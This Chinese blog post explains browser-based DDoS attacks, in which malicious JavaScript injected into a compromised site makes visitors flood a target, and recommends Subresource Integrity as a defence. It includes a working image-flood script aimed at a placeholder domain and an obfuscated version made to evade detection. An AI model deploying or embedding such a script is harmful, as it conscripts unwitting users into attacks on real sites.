黑客如此简单!基于JavaScript的DDOS攻击!

 Abyss   2019-11-12 18:32   785 人阅读  0 条评论

最古老、最普遍、却又最可怕的攻击非DDoS攻击莫属。

在传统的DDoS攻击中,攻击者会控制大量的傀儡机,然后向目标服务器发送大量请求,阻止合法用户访问网站。

然而,最近几年DDoS攻击技术不断推陈出新:攻击者用一种新型且很有趣的方式欺骗用户参与到攻击活动中:使用恶意的JavaScript欺骗用户参与DDoS攻击。

基于JavaScript的DDOS攻击有一个非比寻常的特点:任何有浏览器的设备都可能参与攻击,其潜在攻击规模接近无限。


基于JavaScript的DDOS攻击原理

现代网站的交互作用大多数都是采用JavaScript。JavaScript脚本可直接注入HTML中,或者通过  HTML从远程服务器载入。

function imgflood() {

var TARGET = ''victim-website.com'

var URI = '/index.php?'

var pic = new Image()

var rand = Math.floor(Math.random() * 1000)

pic.src = 'http://'+TARGET+URI+rand+'=val'

}

setInterval(imgflood, 10)

该脚本会在目标网页上生成一个图片按钮,图片按钮会指向“'victim-website.com”  网站。只要用户访问了含有该脚本的网页,那么他就会成为   “'victim-website.com”DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求,于是该攻击又变成了Layer 7 攻击。

由于是JS代码,所以通过查看网页源码,可以直接的看到攻击代码,发现是攻击网页。但如果以上的代码经过JShaman平台(jshaman.com)的混淆,JS代码会被保护起来,更难以被识别和发现:

var   _0x9ea1=['victim\\x2dwebsite\\x2ecom','\\x2findex\\x2ephp\\x3f','floor','random','src','http\\x3a\\x2f\\x2f','\\x3dval'];(function(_0xa439d7,_0x7a3f17)};_0x2fcd4b(++_0x7a3f17);}(_0x9ea1,0xa1));var  _0x19ea=function(_0x3ac308,_0x2c1ecf);function imgflood()setInterval(imgflood,0xa);

如果攻击者入侵了一个网站,在网站js文件中嵌入了类似上面的恶意JavaScript脚本,那么该网站的每一个访客都将成为DDoS攻击中的一员。网站流量越高就意味着DDoS越严重

如何防止这种攻击?

目前HTTP还没有相关的机制来阻止该脚本的运行,但W3C已经提出了名叫子资源完整性(SRI)的新功能,使用加密哈希值验证脚本,如果哈希值不匹配浏览器可以阻止其运行。

例如,如下脚本标签:

浏览器会自动下载该.js文件,并且会不分青红皂白的运行它。即使该文件中被攻击者注入了恶意脚本,浏览器也不会识别(也识别不出)。然而如果网站发现了哈希值验证脚本不匹配,子资源完整性(SRI)会告诉浏览器不要运行该脚本。

integrity

="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg="

crossorigin="anonymous">

建议网站管理员将添加这一标签添加到服务器上,用以保护其用户不被利用。

注:目前Chrome和Firefox支持子资源完整性校验。

本文地址:https://www.abyssw.com/post/83.html
声明:本文章为 Abyss 编辑发布,欢迎分享本文,转载请保留出处!

 发表评论


表情

还没有留言,还不快点抢沙发?